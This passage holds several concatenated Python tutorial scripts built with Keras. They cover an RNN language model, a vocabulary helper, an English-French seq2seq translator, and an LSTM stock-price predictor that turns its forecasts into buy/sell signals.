np.array(text_to_sequence(text)) +print(len(encoded)) + +# X, y = get_data(encoded, INPUT_DIM, 1) + +# del text, encoded + +model = rnn_model(INPUT_DIM, LSTM, 4, 380, 0.3, bidirectional=False) + +model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"]) +model.summary() +if not os.path.isdir("results"): + os.mkdir("results") + +checkpointer = ModelCheckpoint("results/lm_rnn_v2_{loss:.1f}.h5", verbose=1) + +steps_per_epoch = (len(encoded) // 100) // BATCH_SIZE + +model.fit_generator(get_batches(encoded, BATCH_SIZE, INPUT_DIM), + epochs=100, + callbacks=[checkpointer], + verbose=1, + steps_per_epoch=steps_per_epoch) +model.save("results/lm_rnn_v2_final.h5") + + + + +import numpy as np +import os +import tqdm +import inflect +from string import punctuation, whitespace +from word_forms.word_forms import get_word_forms + +p = inflect.engine() + +UNK = "" +vocab = set() +add = vocab.add +# add unk +add(UNK) + +with open("data/vocab1.txt") as f: + for line in f: + add(line.strip()) + +vocab = sorted(vocab) +word2int = {w: i for i, w in enumerate(vocab)} +int2word = {i: w for i, w in enumerate(vocab)} + + +def update_vocab(word): + global vocab + global word2int + global int2word + + vocab.add(word) + next_int = max(int2word) + 1 + word2int[word] = next_int + int2word[next_int] = word + + +def save_vocab(_vocab): + with open("vocab1.txt", "w") as f: + for w in sorted(_vocab): + print(w, file=f) + + +def text_to_sequence(text): + return [ word2int[word] for word in text.split() ] + + +def sequence_to_text(seq): + return ' '.join([ int2word[i] for i in seq ]) + + +def get_batches(arr, batch_size, n_steps): + '''Create a generator that returns batches of size + batch_size x n_steps from arr. + + Arguments + --------- + arr: Array you want to make batches from + batch_size: Batch size, the number of sequences per batch + n_steps: Number of sequence steps per batch + ''' + chars_per_batch = batch_size * n_steps + n_batches = len(arr) // chars_per_batch + + arr = arr[:chars_per_batch * n_batches] + + arr = arr.reshape((batch_size, -1)) + while True: + for n in range(0, arr.shape[1], n_steps): + x = arr[:, n: n+n_steps] + y_temp = arr[:, n+1:n+n_steps+1] + y = np.zeros(x.shape, dtype=y_temp.dtype) + y[:, :y_temp.shape[1]] = y_temp + yield x.reshape(1, x.shape[0], x.shape[1]), y.reshape(1, y.shape[0], y.shape[1]) + + +def get_data(arr, n_seq, look_forward): + + n_samples = len(arr) // n_seq + X = np.zeros((n_seq, n_samples)) + Y = np.zeros((n_seq, n_samples)) + + for index, i in enumerate(range(0, n_samples*n_seq, n_seq)): + x = arr[i:i+n_seq] + y = arr[i+look_forward:i+n_seq+look_forward] + if len(x) != n_seq or len(y) != n_seq: + break + X[:, index] = x + Y[:, index] = y + return X.T.reshape(1, X.shape[1], X.shape[0]), Y.T.reshape(1, Y.shape[1], Y.shape[0]) + + +def get_text(path, files=["carroll-alice.txt", "text.txt", "text8.txt"]): + global vocab + global word2int + global int2word + + text = "" + file = files[0] + for file in tqdm.tqdm(files, "Loading data"): + file = os.path.join(path, file) + with open(file, encoding="utf8") as f: + text += f.read().lower() + + punc = set(punctuation) + + text = ''.join([ c for c in tqdm.tqdm(text, "Cleaning text") if c not in punc ]) + for ws in whitespace: + text = text.replace(ws, " ") + text = text.split() + + co = 0 + vocab_set = set(vocab) + for i in tqdm.tqdm(range(len(text)), "Normalizing words"): + # convert digits to words + # (i.e '7' to 'seven') + if text[i].isdigit(): + text[i] = p.number_to_words(text[i]) + # compare_nouns + # compare_adjs + # compare_verbs + if text[i] not in vocab_set: + text[i] = UNK + co += 1 + # update vocab, intersection of words + print("vocab length:", len(vocab)) + vocab = vocab_set & set(text) + print("vocab length after update:", len(vocab)) + save_vocab(vocab) + print("Number of unks:", co) + return ' '.join(text) + + + + +from train import create_model, get_data, split_data, LSTM_UNITS, np, to_categorical, Tokenizer, pad_sequences, pickle + + +def tokenize(x, tokenizer=None): + """Tokenize x + :param x: List of sentences/strings to be tokenized + :return: Tuple of (tokenized x data, tokenizer used to tokenize x)""" + if tokenizer: + t = tokenizer + else: + t = Tokenizer() + t.fit_on_texts(x) + return t.texts_to_sequences(x), t + + +def predict_sequence(enc, dec, source, n_steps, docoder_num_tokens): + """Generate target given source sequence, this function can be used + after the model is trained to generate a target sequence given a source sequence.""" + # encode + state = enc.predict(source) + # start of sequence input + target_seq = np.zeros((1, 1, n_steps)) + # collect predictions + output = [] + for t in range(n_steps): + # predict next char + yhat, h, c = dec.predict([target_seq] + state) + # store predictions + y = yhat[0, 0, :] + + sampled_token_index = np.argmax(y) + output.append(sampled_token_index) + # update state + state = [h, c] + # update target sequence + target_seq = np.zeros((1, 1, n_steps)) + target_seq[0, 0] = to_categorical(sampled_token_index, num_classes=n_steps) + + return np.array(output) + + +def logits_to_text(logits, index_to_words): + """ + Turn logits from a neural network into text using the tokenizer + :param logits: Logits from a neural network + :param tokenizer: Keras Tokenizer fit on the labels + :return: String that represents the text of the logits + """ + return ' '.join([index_to_words[prediction] for prediction in logits]) + +# load the data +X, y, X_tk, y_tk, source_sequence_length, target_sequence_length = get_data("fra.txt") + +X_tk = pickle.load(open("X_tk.pickle", "rb")) +y_tk = pickle.load(open("y_tk.pickle", "rb")) + +model, enc, dec = create_model(source_sequence_length, target_sequence_length, LSTM_UNITS) + +model.load_weights("results/eng_fra_v1_17568.086.h5") + +while True: + text = input("> ") + tokenized = np.array(tokenize([text], tokenizer=X_tk)[0]) + print(tokenized.shape) + X = pad_sequences(tokenized, maxlen=source_sequence_length, padding="post") + X = X.reshape((1, 1, X.shape[-1])) + print(X.shape) + # X = to_categorical(X, num_classes=len(X_tk.word_index) + 1) + print(X.shape) + sequence = predict_sequence(enc, dec, X, target_sequence_length, source_sequence_length) + + result = logits_to_text(sequence, y_tk.index_word) + print(result) + + + + +from tensorflow.keras.models import Model +from tensorflow.keras.layers import Input, LSTM, GRU, Dense, Embedding, Activation, Dropout, Sequential, RepeatVector +from tensorflow.keras.layers import TimeDistributed +from tensorflow.keras.preprocessing.text import Tokenizer +from tensorflow.keras.preprocessing.sequence import pad_sequences +from tensorflow.keras.utils import to_categorical, plot_model +from tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard +import numpy as np +import matplotlib.pyplot as plt +import os +import pickle + +# hyper parameters +BATCH_SIZE = 32 +EPOCHS = 10 +LSTM_UNITS = 128 + +def create_encdec_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size): + model = Sequential() + model.add(LSTM(LSTM_UNITS), input_shape=input_shape[1:]) + model.add(RepeatVector(output_sequence_length)) + model.add(LSTM(LSTM_UNITS), return_sequences=True) + model.add(TimeDistributed(Dense(french_vocab_size, activation="softmax"))) + model.compile(loss="sparse_categorical_crossentropy", optimizer="adam", metrics=["categorical_accuracy"]) + return model + + +def create_model(num_encoder_tokens, num_decoder_tokens, latent_dim): + # define an input sequence + encoder_inputs = Input(shape=(None, num_encoder_tokens)) + encoder = LSTM(latent_dim, return_state=True) + # define the encoder output + encoder_outputs, state_h, state_c = encoder(encoder_inputs) + encoder_states = [state_h, state_c] + # encoder inference model + encoder_model = Model(encoder_inputs, encoder_states) + + # set up the decoder now + decoder_inputs = Input(shape=(None, num_decoder_tokens)) + decoder_lstm = LSTM(latent_dim, return_sequences=True, return_state=True) + decoder_outputs, _, _ = decoder_lstm(decoder_inputs, initial_state=encoder_states) + decoder_dense = Dense(num_decoder_tokens, activation="softmax") + decoder_outputs = decoder_dense(decoder_outputs) + # decoder inference model + decoder_state_input_h = Input(shape=(latent_dim,)) + decoder_state_input_c = Input(shape=(latent_dim,)) + decoder_state_inputs = [decoder_state_input_h, decoder_state_input_c] + + model = Model([encoder_inputs, decoder_inputs], decoder_outputs) + + decoder_outputs, state_h, state_c = decoder_lstm(decoder_inputs, initial_state=decoder_state_inputs) + decoder_states = [state_h, state_c] + decoder_model = Model([decoder_inputs] + decoder_state_inputs, [decoder_outputs] + decoder_states) + + return model, encoder_model, decoder_model + + +def get_batches(X, y, X_tk, y_tk, source_sequence_length, target_sequence_length, batch_size=BATCH_SIZE): + # get total number of words in X + num_encoder_tokens = len(X_tk.word_index) + 1 + # get max number of words in all sentences in y + num_decoder_tokens = len(y_tk.word_index) + 1 + + while True: + for j in range(0, len(X), batch_size): + encoder_input_data = X[j: j+batch_size] + decoder_input_data = y[j: j+batch_size] + # redefine batch size + # it may differ (in last batch of dataset) + batch_size = encoder_input_data.shape[0] + + # one-hot everything + # decoder_target_data = np.zeros((batch_size, num_decoder_tokens, target_sequence_length), dtype=np.uint8) + # encoder_data = np.zeros((batch_size, source_sequence_length, num_encoder_tokens), dtype=np.uint8) + # decoder_data = np.zeros((batch_size, target_sequence_length, num_decoder_tokens), dtype=np.uint8) + encoder_data = np.expand_dims(encoder_input_data, axis=1) + decoder_data = np.expand_dims(decoder_input_data, axis=1) + + # for i, sequence in enumerate(decoder_input_data): + # for t, word_index in enumerate(sequence): + # # skip the first + # if t > 0: + # decoder_target_data[i, t-1, word_index] = 1 + # decoder_data[i, t, word_index] = 1 + + # for i, sequence in enumerate(encoder_input_data): + # for t, word_index in enumerate(sequence): + # encoder_data[i, t, word_index] = 1 + + yield ([encoder_data, decoder_data], decoder_input_data) + + +def get_data(file): + X = [] + y = [] + # loading the data + for line in open(file, encoding="utf-8"): + if "\t" not in line: + continue + + # split by tab + line = line.strip().split("\t") + input = line[0] + output = line[1] + output = f"{output} " + output_sentence_input = f" {output}" + X.append(input) + y.append(output) + + # tokenize data + X_tk = Tokenizer() + X_tk.fit_on_texts(X) + X = X_tk.texts_to_sequences(X) + + y_tk = Tokenizer() + y_tk.fit_on_texts(y) + y = y_tk.texts_to_sequences(y) + + # define the max sequence length for X + source_sequence_length = max(len(x) for x in X) + # define the max sequence length for y + target_sequence_length = max(len(y_) for y_ in y) + # padding sequences + X = pad_sequences(X, maxlen=source_sequence_length, padding="post") + y = pad_sequences(y, maxlen=target_sequence_length, padding="post") + + return X, y, X_tk, y_tk, source_sequence_length, target_sequence_length + + +def shuffle_data(X, y): + """ + Shuffles X & y and preserving their pair order + """ + state = np.random.get_state() + np.random.shuffle(X) + np.random.set_state(state) + np.random.shuffle(y) + return X, y + + +def split_data(X, y, train_split_rate=0.2): + # shuffle first + X, y = shuffle_data(X, y) + training_samples = round(len(X) * train_split_rate) + return X[:training_samples], y[:training_samples], X[training_samples:], y[training_samples:] + + + +if __name__ == "__main__": + # load the data + X, y, X_tk, y_tk, source_sequence_length, target_sequence_length = get_data("fra.txt") + # save tokenizers + pickle.dump(X_tk, open("X_tk.pickle", "wb")) + pickle.dump(y_tk, open("y_tk.pickle", "wb")) + # shuffle & split data + X_train, y_train, X_test, y_test = split_data(X, y) + # construct the models + model, enc, dec = create_model(source_sequence_length, target_sequence_length, LSTM_UNITS) + plot_model(model, to_file="model.png") + plot_model(enc, to_file="enc.png") + plot_model(dec, to_file="dec.png") + model.summary() + + model.compile(optimizer="adam", loss="categorical_crossentropy", metrics=["accuracy"]) + + if not os.path.isdir("results"): + os.mkdir("results") + + checkpointer = ModelCheckpoint("results/eng_fra_v1_{val_loss:.3f}.h5", save_best_only=True, verbose=2) + # train the model + model.fit_generator(get_batches(X_train, y_train, X_tk, y_tk, source_sequence_length, target_sequence_length), + validation_data=get_batches(X_test, y_test, X_tk, y_tk, source_sequence_length, target_sequence_length), + epochs=EPOCHS, steps_per_epoch=(len(X_train) // BATCH_SIZE), + validation_steps=(len(X_test) // BATCH_SIZE), + callbacks=[checkpointer]) + + print("[+] Model trained.") + model.save("results/eng_fra_v1.h5") + print("[+] Model saved.") + + + + +from tensorflow.keras.preprocessing.text import Tokenizer +from tensorflow.keras.preprocessing.sequence import pad_sequences +from tensorflow.keras.models import Model, Sequential +from tensorflow.keras.layers import GRU, Input, Dense, TimeDistributed, Activation, RepeatVector, Bidirectional, Flatten +from tensorflow.keras.layers import Dropout, LSTM +from tensorflow.keras.optimizers import Adam +from tensorflow.keras.losses import sparse_categorical_crossentropy +import collections +import numpy as np + +LSTM_UNITS = 128 + +def get_data(file): + X = [] + y = [] + # loading the data + for line in open(file, encoding="utf-8"): + if "\t" not in line: + continue + # split by tab + line = line.strip().split("\t") + input = line[0] + output = line[1] + X.append(input) + y.append(output) + return X, y + + +def create_encdec_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size): + model = Sequential() + model.add(LSTM(LSTM_UNITS, input_shape=input_shape[1:])) + model.add(RepeatVector(output_sequence_length)) + model.add(LSTM(LSTM_UNITS, return_sequences=True)) + model.add(TimeDistributed(Dense(french_vocab_size, activation="softmax"))) + model.compile(loss="sparse_categorical_crossentropy", optimizer="adam", metrics=["categorical_accuracy"]) + return model + + +def tokenize(x): + """ + Tokenize x + :param x: List of sentences/strings to be tokenized + :return: Tuple of (tokenized x data, tokenizer used to tokenize x) + """ + # TODO: Implement + t = Tokenizer() + t.fit_on_texts(x) + return t.texts_to_sequences(x), t + + +def pad(x, length=None): + """ + Pad x + :param x: List of sequences. + :param length: Length to pad the sequence to. If None, use length of longest sequence in x. + :return: Padded numpy array of sequences + """ + # TODO: Implement + sequences = pad_sequences(x, maxlen=length, padding='post') + return sequences + + +def preprocess(x, y): + """ + Preprocess x and y + :param x: Feature List of sentences + :param y: Label List of sentences + :return: Tuple of (Preprocessed x, Preprocessed y, x tokenizer, y tokenizer) + """ + preprocess_x, x_tk = tokenize(x) + preprocess_y, y_tk = tokenize(y) + + preprocess_x = pad(preprocess_x) + preprocess_y = pad(preprocess_y) + + # Keras's sparse_categorical_crossentropy function requires the labels to be in 3 dimensions + preprocess_y = preprocess_y.reshape(*preprocess_y.shape, 1) + + return preprocess_x, preprocess_y, x_tk, y_tk + + +def logits_to_text(logits, tokenizer): + """ + Turn logits from a neural network into text using the tokenizer + :param logits: Logits from a neural network + :param tokenizer: Keras Tokenizer fit on the labels + :return: String that represents the text of the logits + """ + index_to_words = {id: word for word, id in tokenizer.word_index.items()} + index_to_words[0] = '' + + return ' '.join([index_to_words[prediction] for prediction in np.argmax(logits, 1)]) + + +if __name__ == "__main__": + X, y = get_data("ara.txt") + english_words = [word for sentence in X for word in sentence.split()] + french_words = [word for sentence in y for word in sentence.split()] + english_words_counter = collections.Counter(english_words) + french_words_counter = collections.Counter(french_words) + + print('{} English words.'.format(len(english_words))) + print('{} unique English words.'.format(len(english_words_counter))) + print('10 Most common words in the English dataset:') + print('"' + '" "'.join(list(zip(*english_words_counter.most_common(10)))[0]) + '"') + print() + print('{} French words.'.format(len(french_words))) + print('{} unique French words.'.format(len(french_words_counter))) + print('10 Most common words in the French dataset:') + print('"' + '" "'.join(list(zip(*french_words_counter.most_common(10)))[0]) + '"') + + # Tokenize Example output + text_sentences = [ + 'The quick brown fox jumps over the lazy dog .', + 'By Jove , my quick study of lexicography won a prize .', + 'This is a short sentence .'] + text_tokenized, text_tokenizer = tokenize(text_sentences) + print(text_tokenizer.word_index) + print() + for sample_i, (sent, token_sent) in enumerate(zip(text_sentences, text_tokenized)): + print('Sequence {} in x'.format(sample_i + 1)) + print(' Input: {}'.format(sent)) + print(' Output: {}'.format(token_sent)) + + # Pad Tokenized output + test_pad = pad(text_tokenized) + for sample_i, (token_sent, pad_sent) in enumerate(zip(text_tokenized, test_pad)): + print('Sequence {} in x'.format(sample_i + 1)) + print(' Input: {}'.format(np.array(token_sent))) + print(' Output: {}'.format(pad_sent)) + + preproc_english_sentences, preproc_french_sentences, english_tokenizer, french_tokenizer =\ + preprocess(X, y) + + max_english_sequence_length = preproc_english_sentences.shape[1] + max_french_sequence_length = preproc_french_sentences.shape[1] + english_vocab_size = len(english_tokenizer.word_index) + french_vocab_size = len(french_tokenizer.word_index) + + print('Data Preprocessed') + print("Max English sentence length:", max_english_sequence_length) + print("Max French sentence length:", max_french_sequence_length) + print("English vocabulary size:", english_vocab_size) + print("French vocabulary size:", french_vocab_size) + + tmp_x = pad(preproc_english_sentences, preproc_french_sentences.shape[1]) + tmp_x = tmp_x.reshape((-1, preproc_french_sentences.shape[-2], 1)) + print("tmp_x.shape:", tmp_x.shape) + print("preproc_french_sentences.shape:", preproc_french_sentences.shape) + + # Train the neural network + # increased passed index length by 1 to avoid index error + encdec_rnn_model = create_encdec_model( + tmp_x.shape, + preproc_french_sentences.shape[1], + len(english_tokenizer.word_index)+1, + len(french_tokenizer.word_index)+1) + print(encdec_rnn_model.summary()) + # reduced batch size + encdec_rnn_model.fit(tmp_x, preproc_french_sentences, batch_size=256, epochs=3, validation_split=0.2) + + # Print prediction(s) + print(logits_to_text(encdec_rnn_model.predict(tmp_x[1].reshape((1, tmp_x[1].shape[0], 1, )))[0], french_tokenizer)) + print("Original text and translation:") + print(X[1]) + print(y[1]) + # OPTIONAL: Train and Print prediction(s) + print("="*50) + # Print prediction(s) + print(logits_to_text(encdec_rnn_model.predict(tmp_x[10].reshape((1, tmp_x[1].shape[0], 1, ))[0]), french_tokenizer)) + print("Original text and translation:") + print(X[10]) + print(y[10]) + # OPTIONAL: Train and Print prediction(s) + + + + +from tensorflow.keras.layers import LSTM, Dense, Dropout +from tensorflow.keras.callbacks import ModelCheckpoint, TensorBoard +from sklearn.metrics import mean_absolute_error, mean_squared_error, accuracy_score +import os +import time +import glob +import numpy as np +import pandas as pd +import matplotlib.pyplot as plt + +from utils import classify, shift, create_model, load_data + +class PricePrediction: + """A Class utility to train and predict price of stocks/cryptocurrencies/trades + using keras model""" + def __init__(self, ticker_name, **kwargs): + """ + :param ticker_name (str): ticker name, e.g. aapl, nflx, etc. + :param n_steps (int): sequence length used to predict, default is 60 + :param price_column (str): the name of column that contains price predicted, default is 'adjclose' + :param feature_columns (list): a list of feature column names used to train the model, + default is ['adjclose', 'volume', 'open', 'high', 'low'] + :param target_column (str): target column name, default is 'future' + :param lookup_step (int): the future lookup step to predict, default is 1 (e.g. next day) + :param shuffle (bool): whether to shuffle the dataset, default is True + :param verbose (int): verbosity level, default is 1 + ========================================== + Model parameters + :param n_layers (int): number of recurrent neural network layers, default is 3 + :param cell (keras.layers.RNN): RNN cell used to train keras model, default is LSTM + :param units (int): number of units of cell, default is 256 + :param dropout (float): dropout rate ( from 0 to 1 ), default is 0.3 + ========================================== + Training parameters + :param batch_size (int): number of samples per gradient update, default is 64 + :param epochs (int): number of epochs, default is 100 + :param optimizer (str, keras.optimizers.Optimizer): optimizer used to train, default is 'adam' + :param loss (str, function): loss function used to minimize during training, + default is 'mae' + :param test_size (float): test size ratio from 0 to 1, default is 0.15 + """ + self.ticker_name = ticker_name + self.n_steps = kwargs.get("n_steps", 60) + self.price_column = kwargs.get("price_column", 'adjclose') + self.feature_columns = kwargs.get("feature_columns", ['adjclose', 'volume', 'open', 'high', 'low']) + self.target_column = kwargs.get("target_column", "future") + self.lookup_step = kwargs.get("lookup_step", 1) + self.shuffle = kwargs.get("shuffle", True) + self.verbose = kwargs.get("verbose", 1) + + self.n_layers = kwargs.get("n_layers", 3) + self.cell = kwargs.get("cell", LSTM) + self.units = kwargs.get("units", 256) + self.dropout = kwargs.get("dropout", 0.3) + + self.batch_size = kwargs.get("batch_size", 64) + self.epochs = kwargs.get("epochs", 100) + self.optimizer = kwargs.get("optimizer", "adam") + self.loss = kwargs.get("loss", "mae") + self.test_size = kwargs.get("test_size", 0.15) + + # create unique model name + self._update_model_name() + + # runtime attributes + self.model_trained = False + self.data_loaded = False + self.model_created = False + + # test price values + self.test_prices = None + # predicted price values for the test set + self.y_pred = None + + # prices converted to buy/sell classes + self.classified_y_true = None + # predicted prices converted to buy/sell classes + self.classified_y_pred = None + + # most recent price + self.last_price = None + + # make folders if does not exist + if not os.path.isdir("results"): + os.mkdir("results") + + if not os.path.isdir("logs"): + os.mkdir("logs") + + if not os.path.isdir("data"): + os.mkdir("data") + + def create_model(self): + """Construct and compile the keras model""" + self.model = create_model(input_length=self.n_steps, + units=self.units, + cell=self.cell, + dropout=self.dropout, + n_layers=self.n_layers, + loss=self.loss, + optimizer=self.optimizer) + self.model_created = True + if self.verbose > 0: + print("[+] Model created") + + def train(self, override=False): + """Train the keras model using self.checkpointer and self.tensorboard as keras callbacks. + If model created already trained, this method will load the weights instead of training from scratch. + Note that this method will create the model and load data if not called before.""" + + # if model isn't created yet, create it + if not self.model_created: + self.create_model() + + # if data isn't loaded yet, load it + if not self.data_loaded: + self.load_data() + + # if the model already exists and trained, just load the weights and return + # but if override is True, then just skip loading weights + if not override: + model_name = self._model_exists() + if model_name: + self.model.load_weights(model_name) + self.model_trained = True + if self.verbose > 0: + print("[*] Model weights loaded") + return + + if not os.path.isdir("results"): + os.mkdir("results") + + if not os.path.isdir("logs"): + os.mkdir("logs") + + model_filename = self._get_model_filename() + + self.checkpointer = ModelCheckpoint(model_filename, save_best_only=True, verbose=1) + self.tensorboard = TensorBoard(log_dir=f"logs\{self.model_name}") + + self.history = self.model.fit(self.X_train, self.y_train, + batch_size=self.batch_size, + epochs=self.epochs, + validation_data=(self.X_test, self.y_test), + callbacks=[self.checkpointer, self.tensorboard], + verbose=1) + + self.model_trained = True + if self.verbose > 0: + print("[+] Model trained") + + def predict(self, classify=False): + """Predicts next price for the step self.lookup_step. + when classify is True, returns 0 for sell and 1 for buy""" + if not self.model_trained: + raise RuntimeError("Model is not trained yet, call model.train() first.") + # reshape to fit the model input + last_sequence = self.last_sequence.reshape((self.last_sequence.shape[1], self.last_sequence.shape[0])) + # expand dimension + last_sequence = np.expand_dims(last_sequence, axis=0) + predicted_price = self.column_scaler[self.price_column].inverse_transform(self.model.predict(last_sequence))[0][0] + if classify: + last_price = self.get_last_price() + return 1 if last_price < predicted_price else 0 + else: + return predicted_price + + def load_data(self): + """Loads and preprocess data""" + filename, exists = self._df_exists() + if exists: + # if the updated dataframe already exists in disk, load it + self.ticker = pd.read_csv(filename) + ticker = self.ticker + if self.verbose > 0: + print("[*] Dataframe loaded from disk") + else: + ticker = self.ticker_name + + result = load_data(ticker,n_steps=self.n_steps, lookup_step=self.lookup_step, + shuffle=self.shuffle, feature_columns=self.feature_columns, + price_column=self.price_column, test_size=self.test_size) + + # extract data + self.df = result['df'] + self.X_train = result['X_train'] + self.X_test = result['X_test'] + self.y_train = result['y_train'] + self.y_test = result['y_test'] + self.column_scaler = result['column_scaler'] + self.last_sequence = result['last_sequence'] + + if self.shuffle: + self.unshuffled_X_test = result['unshuffled_X_test'] + self.unshuffled_y_test = result['unshuffled_y_test'] + else: + self.unshuffled_X_test = self.X_test + self.unshuffled_y_test = self.y_test + + self.original_X_test = self.unshuffled_X_test.reshape((self.unshuffled_X_test.shape[0], self.unshuffled_X_test.shape[2], -1)) + + self.data_loaded = True + if self.verbose > 0: + print("[+] Data loaded") + + # save the dataframe to disk + self.save_data() + + def get_last_price(self): + """Returns the last price ( i.e the most recent price )""" + if not self.last_price: + self.last_price = float(self.df[self.price_column].tail(1)) + return self.last_price + + def get_test_prices(self): + """Returns test prices. Note that this function won't return the whole sequences, + instead, it'll return only the last value of each sequence""" + if self.test_prices is None: + current = np.squeeze(self.column_scaler[self.price_column].inverse_transform([[ v[-1][0] for v in self.original_X_test ]])) + future = np.squeeze(self.column_scaler[self.price_column].inverse_transform(np.expand_dims(self.unshuffled_y_test, axis=0))) + self.test_prices = np.array(list(current) + [future[-1]]) + return self.test_prices + + def get_y_pred(self): + """Get predicted values of the testing set of sequences ( y_pred )""" + if not self.model_trained: + raise RuntimeError("Model is not trained yet, call model.train() first.") + if self.y_pred is None: + self.y_pred = np.squeeze(self.column_scaler[self.price_column].inverse_transform(self.model.predict(self.unshuffled_X_test))) + return self.y_pred + + def get_y_true(self): + """Returns original y testing values ( y_true )""" + test_prices = self.get_test_prices() + return test_prices[1:] + + def _get_shifted_y_true(self): + """Returns original y testing values shifted by -1. + This function is useful for converting to a classification problem""" + test_prices = self.get_test_prices() + return test_prices[:-1] + + def _calc_classified_prices(self): + """Convert regression predictions to a classification predictions ( buy or sell ) + and set results to self.classified_y_pred for predictions and self.classified_y_true + for true prices""" + if self.classified_y_true is None or self.classified_y_pred is None: + current_prices = self._get_shifted_y_true() + future_prices = self.get_y_true() + predicted_prices = self.get_y_pred() + self.classified_y_true = list(map(classify, current_prices, future_prices)) + self.classified_y_pred = list(map(classify, current_prices, predicted_prices)) + + # some metrics + + def get_MAE(self): + """Calculates the Mean-Absolute-Error metric of the test set""" + if not self.model_trained: + raise RuntimeError("Model is not trained yet, call model.train() first.") + y_true = self.get_y_true() + y_pred = self.get_y_pred() + return mean_absolute_error(y_true, y_pred) + + def get_MSE(self): + """Calculates the Mean-Squared-Error metric of the test set""" + if not self.model_trained: + raise RuntimeError("Model is not trained yet, call model.train() first.") + y_true = self.get_y_true() + y_pred = self.get_y_pred() + return mean_squared_error(y_true, y_pred) + + def get_accuracy(self): + """Calculates the accuracy after adding classification approach (buy/sell)""" + if not self.model_trained: + raise RuntimeError("Model is not trained yet, call model.train() first.") + self._calc_classified_prices() + return accuracy_score(self.classified_y_true, self.classified_y_pred) + + def plot_test_set(self): + """Plots test data""" + future_prices = self.get_y_true() + predicted_prices = self.get_y_pred() + plt.plot(future_prices, c='b') + plt.plot(predicted_prices, c='r') + plt.xlabel("Days") + plt.ylabel("Price") + plt.legend(["Actual Price", "Predicted Price"]) + plt.show() + + def save_data(self): + """Saves the updated dataframe if it does not exist""" + filename, exists = self._df_exists() + if not exists: + self.df.to_csv(filename) + if self.verbose > 0: + print("[+] Dataframe saved") + + def _update_model_name(self): + stock = self.ticker_name.replace(" ", "_") + feature_columns_str = ''.join([ c[0] for c in self.feature_columns ]) + time_now = time.strftime("%Y-%m-%d") + self.model_name = f"{time_now}_{stock}-{feature_columns_str}-loss-{self.loss}-{self.cell.__name__}-seq-{self.n_steps}-step-{self.lookup_step}-layers-{self.n_layers}-units-{self.units}" + + def _get_df_name(self): + """Returns the updated dataframe name""" + time_now = time.strftime("%Y-%m-%d") + return f"data/{self.ticker_name}_{time_now}.csv" + + def _df_exists(self): + """Check if the updated dataframe exists in disk, returns a tuple contains (filename, file_exists)""" + filename = self._get_df_name() + return filename, os.path.isfile(filename) + + def _get_model_filename(self): + """Returns the relative path of this model name with h5 extension""" + return f"results/{self.model_name}.h5" + + def _model_exists(self): + """Checks if model already exists in disk, returns the filename, + returns None otherwise""" + filename = self._get_model_filename() + return filename if os.path.isfile(filename) else None + + + + +# uncomment below to use CPU instead of GPU +# import os +# os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 +# os.environ["CUDA_VISIBLE_DEVICES"] = "-1" + +# import tensorflow as tf + +# config = tf.ConfigProto(intra_op_parallelism_threads=4, +# inter_op_parallelism_threads=4, +# allow_soft_placement=True, +# device_count = {'CPU' : 1, +# 'GPU' : 0} +# ) + +from tensorflow.keras.layers import GRU, LSTM +from price_prediction import PricePrediction + +ticker = "AAPL" + +p = PricePrediction(ticker, feature_columns=['adjclose', 'volume', 'open', 'high', 'low'], + epochs=700, cell=LSTM, optimizer="rmsprop", n_layers=3, units=256, + loss="mse", shuffle=True, dropout=0.4) +p.train(True) +print(f"The next predicted price for {ticker} is {p.predict()}") +buy_sell = p.predict(classify=True) +print(f"you should {'sell' if buy_sell == 0 else 'buy'}.") + +print("Mean Absolute Error:", p.get_MAE()) +print("Mean Squared Error:", p.get_MSE()) +print(f"Accuracy: {p.get_accuracy()*100:.3f}%") + +p.plot_test_set() + + + + +from tensorflow.keras.models import Sequential +from tensorflow.keras.layers import LSTM, Dense, Dropout +from sklearn import preprocessing +from yahoo_fin import stock_info as si +from collections import deque + +import pandas as pd +import numpy as np +import random + +def create_model(input_length, units=256, cell=LSTM, n_layers=2, dropout=0.3, loss="mean_absolute_error", optimizer="rmsprop"): + model = Sequential() + for i in range(n_layers): + if i == 0: + # first layer + model.add(cell(units, return_sequences=True, input_shape=(None, input_length))) + model.add(Dropout(dropout)) + elif i == n_layers -1: + # last layer + model.add(cell(units, return_sequences=False)) + model.add(Dropout(dropout)) + else: + # middle layers + model.add(cell(units, return_sequences=True)) + model.add(Dropout(dropout)) + + model.add(Dense(1, activation="linear")) + model.compile(loss=loss, metrics=["mean_absolute_error"], optimizer=optimizer) + + return model + + +def load_data(ticker, n_steps=60, scale=True, split=True, balance=False, shuffle=True, + lookup_step=1, test_size=0.15, price_column='Price', feature_columns=['Price'], + target_column="future", buy_sell=False): + """Loads data from yahoo finance, if the ticker is a pd Dataframe, + it'll use it instead""" + if isinstance(ticker, str): + df = si.get_data(ticker) + elif isinstance(ticker, pd.DataFrame): + df = ticker + else: + raise TypeError("ticker can be either a str, or a pd.DataFrame instance") + + result = {} + + result['df'] = df.copy() + # make sure that columns passed is in the dataframe + for col in feature_columns: + assert col in df.columns + + column_scaler = {} + if scale: + # scale the data ( from 0 to 1 ) + for column in feature_columns: + scaler = preprocessing.MinMaxScaler() + df[column] = scaler.fit_transform(np.expand_dims(df[column].values, axis=1)) + column_scaler[column] = scaler + # df[column] = preprocessing.scale(df[column].values) + + # add column scaler to the result + result['column_scaler'] = column_scaler + + # add future price column ( shift by -1 ) + df[target_column] = df[price_column].shift(-lookup_step) + + # get last feature elements ( to add them to the last sequence ) + # before deleted by df.dropna + last_feature_element = np.array(df[feature_columns].tail(1)) + + # clean NaN entries + df.dropna(inplace=True) + + if buy_sell: + # convert target column to 0 (for sell -down- ) and to 1 ( for buy -up-) + df[target_column] = list(map(classify, df[price_column], df[target_column])) + + seq_data = [] # all sequences here + # sequences are made with deque, which keeps the maximum length by popping out older values as new ones come in + sequences = deque(maxlen=n_steps) + + for entry, target in zip(df[feature_columns].values, df[target_column].values): + sequences.append(entry) + if len(sequences) == n_steps: + seq_data.append([np.array(sequences), target]) + + # get the last sequence for future predictions + last_sequence = np.array(sequences) + # shift the sequence, one element is missing ( deleted by dropna ) + last_sequence = shift(last_sequence, -1) + # fill the last element + last_sequence[-1] = last_feature_element + + # add last sequence to results + result['last_sequence'] = last_sequence + + if buy_sell and 